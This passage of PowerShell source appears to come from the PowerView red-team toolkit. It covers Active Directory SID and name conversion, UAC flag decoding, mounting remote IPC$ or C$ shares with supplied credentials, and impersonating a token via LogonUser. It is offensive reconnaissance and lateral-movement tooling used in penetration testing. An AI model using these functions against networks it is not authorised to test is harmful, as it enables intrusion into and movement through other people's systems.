ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'Identity')] + [String[]] + $ObjectName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $DomainSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($Object in $ObjectName) { + $Object = $Object -Replace '/','\' + + if ($PSBoundParameters['Credential']) { + $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments + if ($DN) { + $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $UserName = $DN.Split(',')[0].split('=')[1] + + $DomainSearcherArguments['Identity'] = $UserName + $DomainSearcherArguments['Domain'] = $UserDomain + $DomainSearcherArguments['Properties'] = 'objectsid' + Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid + } + } + else { + try { + if ($Object.Contains('\')) { + $Domain = $Object.Split('\')[0] + $Object = $Object.Split('\')[1] + } + elseif (-not $PSBoundParameters['Domain']) { + $DomainSearcherArguments = @{} + $Domain = (Get-Domain @DomainSearcherArguments).Name + } + + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + } + catch { + Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" + } + } + } + } +} + + +function ConvertFrom-SID { +<# +.SYNOPSIS + +Converts a security identifier (SID) to a group/user name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName + +.DESCRIPTION + +Converts a security identifier string (SID) to a group/user name +using Convert-ADName. + +.PARAMETER ObjectSid + +Specifies one or more SIDs to convert. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 + +TESTLAB\harmj0y + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID + +TESTLAB\WINDOWS2$ +TESTLAB\harmj0y +BUILTIN\Distributed COM Users + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more SID strings on the pipeline. + +.OUTPUTS + +String + +The converted DOMAIN\username. +#> + + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SID')] + [ValidatePattern('^S-1-.*')] + [String[]] + $ObjectSid, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($TargetSid in $ObjectSid) { + $TargetSid = $TargetSid.trim('*') + try { + # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 + Switch ($TargetSid) { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + Convert-ADName -Identity $TargetSid @ADNameArguments + } + } + } + catch { + Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" + } + } + } +} + + +function Convert-ADName { +<# +.SYNOPSIS + +Converts Active Directory object names between a variety of formats. + +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) +and translates Active Directory names between various formats using the NameTranslate COM object. + +.PARAMETER Identity + +Specifies the Active Directory object name to translate, of the following form: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' + +.PARAMETER OutputType + +Specifies the output name type you want to convert to, which must be one of the following: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +Convert-ADName -Identity "TESTLAB\harmj0y" + +harmj0y@testlab.local + +.EXAMPLE + +"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical + +testlab.local/Users/krbtgt +testlab.local/Users/Administrator + +.EXAMPLE + +Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local + +CN=harmj0y,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more objects name strings on the pipeline. + +.OUTPUTS + +String + +Outputs a string representing the converted name. + +.LINK + +http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'ObjectName')] + [String[]] + $Identity, + + [String] + [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] + $OutputType, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $NameTypes = @{ + 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com + 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn + 'NT4' = 3 # fabrikam\pflynn + 'Display' = 4 # pflynn + 'DomainSimple' = 5 # pflynn@fabrikam.com + 'EnterpriseSimple' = 6 # pflynn@fabrikam.com + 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} + 'Unknown' = 8 # unknown type - let the server do translation + 'UPN' = 9 # pflynn@fabrikam.com + 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn + 'SPN' = 11 # HTTP/kairomac.contoso.com + 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 + } + + # accessor functions from Bill Stewart to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Null + $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) + Write-Output $Output + } + + function Get-Property([__ComObject] $Object, [String] $Property) { + $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) + } + + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) + } + + # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx + if ($PSBoundParameters['Server']) { + $ADSInitType = 2 + $InitName = $Server + } + elseif ($PSBoundParameters['Domain']) { + $ADSInitType = 1 + $InitName = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $Cred = $Credential.GetNetworkCredential() + $ADSInitType = 1 + $InitName = $Cred.Domain + } + else { + # if no domain or server is specified, default to GC initialization + $ADSInitType = 3 + $InitName = $Null + } + } + + PROCESS { + ForEach ($TargetIdentity in $Identity) { + if (-not $PSBoundParameters['OutputType']) { + if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { + $ADSOutputType = $NameTypes['DomainSimple'] + } + else { + $ADSOutputType = $NameTypes['NT4'] + } + } + else { + $ADSOutputType = $NameTypes[$OutputType] + } + + $Translate = New-Object -ComObject NameTranslate + + if ($PSBoundParameters['Credential']) { + try { + $Cred = $Credential.GetNetworkCredential() + + Invoke-Method $Translate 'InitEx' ( + $ADSInitType, + $InitName, + $Cred.UserName, + $Cred.Domain, + $Cred.Password + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" + } + } + else { + try { + $Null = Invoke-Method $Translate 'Init' ( + $ADSInitType, + $InitName + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" + } + } + + # always chase all referrals + Set-Property $Translate 'ChaseReferral' (0x60) + + try { + # 8 = Unknown name type -> let the server do the work for us + $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) + Invoke-Method $Translate 'Get' ($ADSOutputType) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" + } + } + } +} + + +function ConvertFrom-UACValue { +<# +.SYNOPSIS + +Converts a UAC int value to human readable form. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function will take an integer that represents a User Account +Control (UAC) binary blob and will covert it to an ordered +dictionary with each bitwise value broken out. By default only values +set are displayed- the -ShowAll switch will display all values with +a + next to the ones set. + +.PARAMETER Value + +Specifies the integer UAC value to convert. + +.PARAMETER ShowAll + +Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. + +.EXAMPLE + +ConvertFrom-UACValue -Value 66176 + +Name Value +---- ----- +ENCRYPTED_TEXT_PWD_ALLOWED 128 +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll + +Name Value +---- ----- +SCRIPT 1 +ACCOUNTDISABLE 2 +HOMEDIR_REQUIRED 8 +LOCKOUT 16 +PASSWD_NOTREQD 32 +PASSWD_CANT_CHANGE 64 +ENCRYPTED_TEXT_PWD_ALLOWED 128 +TEMP_DUPLICATE_ACCOUNT 256 +NORMAL_ACCOUNT 512+ +INTERDOMAIN_TRUST_ACCOUNT 2048 +WORKSTATION_TRUST_ACCOUNT 4096 +SERVER_TRUST_ACCOUNT 8192 +DONT_EXPIRE_PASSWORD 65536+ +MNS_LOGON_ACCOUNT 131072 +SMARTCARD_REQUIRED 262144 +TRUSTED_FOR_DELEGATION 524288 +NOT_DELEGATED 1048576 +USE_DES_KEY_ONLY 2097152 +DONT_REQ_PREAUTH 4194304 +PASSWORD_EXPIRED 8388608 +TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 +PARTIAL_SECRETS_ACCOUNT 67108864 + +.INPUTS + +Int + +Accepts an integer representing a UAC binary blob. + +.OUTPUTS + +System.Collections.Specialized.OrderedDictionary + +An ordered dictionary with the converted UAC fields. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [OutputType('System.Collections.Specialized.OrderedDictionary')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('UAC', 'useraccountcontrol')] + [Int] + $Value, + + [Switch] + $ShowAll + ) + + BEGIN { + # values from https://support.microsoft.com/en-us/kb/305144 + $UACValues = New-Object System.Collections.Specialized.OrderedDictionary + $UACValues.Add("SCRIPT", 1) + $UACValues.Add("ACCOUNTDISABLE", 2) + $UACValues.Add("HOMEDIR_REQUIRED", 8) + $UACValues.Add("LOCKOUT", 16) + $UACValues.Add("PASSWD_NOTREQD", 32) + $UACValues.Add("PASSWD_CANT_CHANGE", 64) + $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) + $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) + $UACValues.Add("NORMAL_ACCOUNT", 512) + $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) + $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) + $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) + $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) + $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) + $UACValues.Add("SMARTCARD_REQUIRED", 262144) + $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) + $UACValues.Add("NOT_DELEGATED", 1048576) + $UACValues.Add("USE_DES_KEY_ONLY", 2097152) + $UACValues.Add("DONT_REQ_PREAUTH", 4194304) + $UACValues.Add("PASSWORD_EXPIRED", 8388608) + $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) + $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) + } + + PROCESS { + $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary + + if ($ShowAll) { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + else { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + $ResultUACValues + } +} + + +function Get-PrincipalContext { +<# +.SYNOPSIS + +Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext +and simplified identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), +or a DOMAIN\username identity. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + try { + if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { + if ($Identity -match '.+\\.+') { + # DOMAIN\groupname + $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical + if ($ConvertedIdentity) { + $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) + $ObjectIdentity = $Identity.Split('\')[1] + Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" + } + } + else { + $ObjectIdentity = $Identity + Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" + $ConnectTarget = $Domain + } + + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) + } + } + else { + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $DomainName = Get-Domain | Select-Object -ExpandProperty Name + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) + } + $ObjectIdentity = $Identity + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Context' $Context + $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity + $Out + } + catch { + Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" + } +} + + +function Add-RemoteConnection { +<# +.SYNOPSIS + +Pseudo "mounts" a connection to a remote path using the specified +credential object, allowing for access of remote resources. If a -Path isn't +specified, a -ComputerName is required to pseudo-mount IPC$. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection +to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the +-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. + +To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path +or -ComputerName. + +.PARAMETER ComputerName + +Specifies the system to add a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to add the connection for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +$Cred = Get-Credential +Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred + +.EXAMPLE + +$Cred = Get-Credential +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred +#> + + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path, + + [Parameter(Mandatory = $True)] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential + ) + + BEGIN { + $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) + $NetResourceInstance.dwType = 1 + } + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + $NetResourceInstance.lpRemoteName = $TargetPath + Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" + + # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx + # CONNECT_TEMPORARY = 4 + $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully mounted" + } + else { + Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Remove-RemoteConnection { +<# +.SYNOPSIS + +Destroys a connection created by New-RemoteConnection. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetCancelConnection2 to destroy a connection created by +New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to +'unmount' \\$ComputerName\IPC$. + +.PARAMETER ComputerName + +Specifies the system to remove a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to remove the connection for. + +.EXAMPLE + +Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' + +.EXAMPLE + +Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' + +.EXAMPLE + +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path + ) + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" + $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully ummounted" + } + else { + Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Invoke-UserImpersonation { +<# +.SYNOPSIS + +Creates a new "runas /netonly" type logon and impersonates the token. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType +to simulate "runas /netonly". The resulting token is then impersonated with +ImpersonateLoggedOnUser() and the token handle is returned for later usage +with Invoke-RevertToSelf. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object with alternate credentials +to impersonate in the current thread space. + +.PARAMETER TokenHandle + +An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. +If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() +is executed. + +.PARAMETER Quiet + +Suppress any warnings about STA vs MTA. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred + +.OUTPUTS + +IntPtr + +The TokenHandle result from LogonUser. +#> + + [OutputType([IntPtr])] + [CmdletBinding(DefaultParameterSetName = 'Credential')] + Param( + [Parameter(Mandatory = $True, ParameterSetName = 'Credential')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential, + + [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] + [ValidateNotNull()] + [IntPtr] + $TokenHandle, + + [Switch] + $Quiet + ) + + if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { + Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." + } + + if ($PSBoundParameters['TokenHandle']) { + $LogonTokenHandle = $TokenHandle + } + else { + $LogonTokenHandle = [IntPtr]::Zero + $NetworkCredential = $Credential.GetNetworkCredential() + $UserDomain = $NetworkCredential.Domain + $UserName = $NetworkCredential.UserName + Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" + + # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 + # this is to simulate "runas.exe /netonly" functionality + $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + } + + # actually impersonate the token from LogonUser() + $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) + + if (-not $Result) { + throw 